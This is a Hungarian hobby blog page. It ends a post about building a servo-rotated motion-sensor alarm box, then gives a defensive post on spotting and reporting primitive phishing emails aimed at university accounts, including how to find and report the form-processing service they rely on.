Ezzel csak egy probléma van, könnyű kikerülni, ha mindig egy irányba néz. Azt találtam ki, hogy egy szervó motorral fogom forgatni a dobozt, mintha egy kacsalábon forgó palota lenne. Szerencsére a doboz henger alakú. Ez az ötlet nagyon megtetszett. A doboz teteje lehetne a talpa is egyben.

Először kifúrtam a doboz közepét, és oda rogzítettem a szervő motort. Az új design-al az volt a gond, hogy jól ki kellett egyensúlyozni. Az irányító szerepet játszó AVRDuino ezért a motor fölött volt. Találtam néhány távtartót, ami elég magas volt, hogy a motor fölé emelje a mikrokontrollert.

tavtarto.jpg

Szükség volt még egy kis hangszóróra, hogy jelezze a risztást, illetve azt is, mikortól aktiválja magát a rendszer.

A doboz tetejére kellett a szervó karját szerelni. Nem bíztam a ragasztókba, ezért egy vékony dróttal rögzítettem azt. Aggódtam, hogy esetleg nem tudok olyan apró lyukakat fúrni a doboz tetejébe, de az aggodalmam alaptalan volt. Egy vastagabb varrótű simán megtette, még melegíteni sem kellett.

teto.jpg

Először egy próbapanelen kötöttem össze az egységeket, és írtam egy próbakódot. Ebben a verzióban csak akkor jelezett a riasztó, ha 1,5 méternél közelebb érzékelt valamit. A motor három pozícióba állítja be a dobozt: 45 fok, 90 fok, 135 fok. Azért, hogy még nehezebb legyen kicselezni, a pozíciók véletlenszerűen váltják egymást, így a forgás elég kiszámíthatatlan.

proba.jpg

A tesztelés jó játék volt a lányommal, megpróbáltuk kicselezni a készüléket. Akinél jelzett, az veszített. Ő nyert, mert elfért azon a kis résen, ami a fal és szenzor mérési határa között volt.

A prototípus elég jól működött, ezért készítettem egy kis próbapanelt, amire ráforrasztottam az alkatrészeket. A forrasztás még mindig nem megy valami jól, mint az látható a képeken. Többször ellenőriztem is multiméterrel, nehogy az áram nemkívánt irányba menjen. Szerencsére minden rendben volt, a próbapanel jól vizsgázott. Még a tetejét is rá lehet tenni a könnyű szállítás végett.

pcb.jpg

Tapasztalatok a jelenlegi működés alapján: A szervó túl gyors, a forgási tengely túl kicsi, kellene valami, ami plusz támasztékot biztosít (hasonló megoldás kellene, mint ami a mikróhullámú sütő tányérja alatt is van). Meg kell oldani a tápellátást is. A hardveren viszont nem tervezek nagyobb változtatást. A következő részben a kódot fogom bemutatni.

final.jpg

Szólj hozzá!

Címkék: barkácsolás

Így próbálkoznak a scriptkidek

2024.12.15. 10:01 Travis.CG

Naponta tucatjával jönnek az egyetemi levelezőrendszerre az adathalász levelek. De olyan szinten primitív módszereket használnak, hogy az már fáj. (Néha arra gondolok valójában ezek az IT részleg felmérései, hogy milyen a felhasználók tudatossága.)

A legbénább módszer, amikor az adatokat egy közönséges gmail címre kérik. Még arra sem veszik a fáradságot, hogy egy honlapot összedobjanak. Bár az is lehet, hogy csak nem értenek hozzá.

Egy fokkal igényesebb, ha egy ingyenes tárhely szolgáltató felületén létrehoznak egy annyira primitív oldalt, hogy még képet, CSS-t, semmit nem raknak bele. Rövid szöveg, két beviteli mező, meg egy gomb, hogy elküldjék az adatokat. Most épp a glitch.me a menő, arra irányít át a legtöbb szemét. A form feldolgozását pedig a Formspark-ra bízzák. Ez egyrészt védettséget biztosít a támadónak, mert névtelen, de cserébe könnyű keresztbe tenni nekik.

Alapvetően nem szabad ismeretlen linkre kattintani, de aki szeretné kivenni a részét a védekezésből, és egy átlagos felhasználónál többet tud a számítógépekről, annak leírom, mit tehet.

Először is a linket kimásoljuk a levélből. Linux alatt wget-el letöltjük az oldalt, és megnézzük, mit tartalmaz. Ha csak sima HTML-ből áll, akkor rendben van, folytathatjuk a munkát, ha semmit nem értünk abból, amit látunk, akkor töröljük a levelet is, a letöltött weboldalt is. Nem éri meg a rizikót.

Sima HTML esetén könnyű kiszúrni, hova is küldi az adatot. Ez a Formspark esetén egy submit-form.com lesz, GET-es paraméterben pedig egy egyedi azonosító. Ez kell nekünk! Ez alapján tudunk riportot küldeni ide.

Ha véletlenül mégis böngészőből kattintottunk rá, és elküldtük az adatainkat, akkor sincs minden veszve. A form elküldése után is megjelenik egy report abuse link. Itt is jelenthetjük a dolgot, de akkor minden esetben meg kell változtatni a levelező rendszerben az emailt. Lehetőleg gyorsabban, minthogy a támadó tenné meg :-)

Miért nem akadályozza meg a Formspark, hogy elkészüljön egy ilyen oldal? Nos, ők próbálkoznak, feltételezem van egy tiltott szavak listája, ami ha szerepel a weboldalon, akkor nem engedik rá a nagyvilágra. Ha viszont megnézzük, hogyan épül fel a weboldal, akkor sehol nem szerepel például a "password" szó. Az input mező is "anyword" névvel van ellátva. Egyedül magyarul szerepel, ez pedig feltételezem nincs benne a tiltott szavak listájában. Ezért mikor jelentettem a dolgot, fel is hívtam rá a figyelmet.

Egyébként a támadó egyetemekre szakosodhatott, mert az email aláírásában a Semmelweis szerepelt, nem az én munkahelyem. Szóval a támadó még arra sem vette a fáradságot, hogy különböző egyetemeknek más szöveggel küldjön emailt.

A harmadik szint már egy fokkal jobb. Ők a türelmesek. Ők is primitív módszerekkel dolgoznak, de nem puffogtatják el a muníciójukat azonnal. Várnak a megfelelő alkalomra.

Egyszer például jött egy valódi email az IT részlegről, hogy nagy átállás lesz, kiesik az internet, nem lesz email egy ideig, stb. A karbantartás befejeződése után három különböző spam jött amiben arról írtak, hogy a rendszerfrissítés után nem sikerült visszaállítani az emailemet! Ami egy paradoxon, mert akkor hogy kaptam meg a spam-et? Ráadásul annak ellenére, hogy vannak nagy nyelvi modellek, a levelek mégsem tudtak rendesen magyarul.

Ami megrémített, az az időzítés pontossága volt. Ha még csak egy levélről lett volna szó, azt gondoltam volna, hogy szerencséjük volt az időzítéssel. De három? Legjobb esetben az IT tesztelt minket, felhasználókat, legrosszabb esetben pedig van egy belsős. Egy vakond...

Már csak egy kérdés van hátra: miért ilyen primitívek ezek az adathalász levelek? Hol vannak azok a levelek, ahol a rendőrség fejlécét használják, hogy minél élethűbb legyen a csalás? Hol vannak azok az ál-oldalak, ahol a bejegyzett URL csak egy karakterben tér el attól, amit utánoz?

Minél többet gondolkodok rajta, a válasz annál ijesztőbb. Egy Asimov novella arról elmélkedett, hogy a szuperhős megjelenése magával hozza a szupergonosz megjelenését is, mert csak ők képesek hatákonyan bűnözni. Ezt a logikát a mi esetünkre is átültethetjük. A támadók nyilván a legkevesebb energiát akarják beleölni egy támadásba. A legkevesebbet, amivel azért eredményt tudnak elérni. Ha nulla eredményt érnének el, akkor vagy nem próbálkoznának többször, vagy több energiát tennének bele. Ahogy a fenti példa is mutatja, nem tesznek bele több energiát. Vagyis ennyi munkával eredményt lehet elérni.

A másik lehetőség, hogy ennyi munkával nem lehet eredményt elérni, ezért feladják a próbálkozást, de mivel mindig újabb és újabb scriptkidek lépnek a helyükre, folyamatos a fenyegetettség.

Szólj hozzá!

Címkék: biztonság

süti beállítások módosítása